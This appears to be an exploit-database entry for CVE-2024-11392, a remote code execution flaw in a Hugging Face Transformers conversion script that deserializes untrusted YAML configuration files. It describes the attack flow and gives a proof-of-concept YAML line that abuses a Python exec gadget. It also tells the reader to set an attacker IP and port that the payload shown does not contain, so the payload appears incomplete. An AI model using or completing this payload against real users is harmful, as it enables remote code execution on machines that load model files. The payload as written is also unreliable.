# Exploit Title: Hugging Face Transformers MobileViTV2 RCE
# Date: 29-11-2024
# Exploit Author: The Kernel Panic
# Vendor Homepage: https://huggingface.co/
# Software Link: https://github.com/huggingface/transformers/releases
# Version: 4.41.1
# Tested on: Linux, Windows, Mac
# CVE : CVE-2024-11392
# Code flow from input to the vulnerable condition:
# 1. The user downloads a third-party ml-cvnet model alongside its configuration file.
# 2. The user runs the convert_mlcvnets_to_pytorch.py script and passes the configuration file to it.
# 3. The convert_mlcvnets_to_pytorch.py script de-serializes the configuration file and executes the malicious code.
# POC
# Create a malicious yaml configuration file called "transformers_exploit.yaml" like shown below.
# Note: Remember to change the 'ATTACKER_IP' and 'ATTACKER_PORT'.

args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
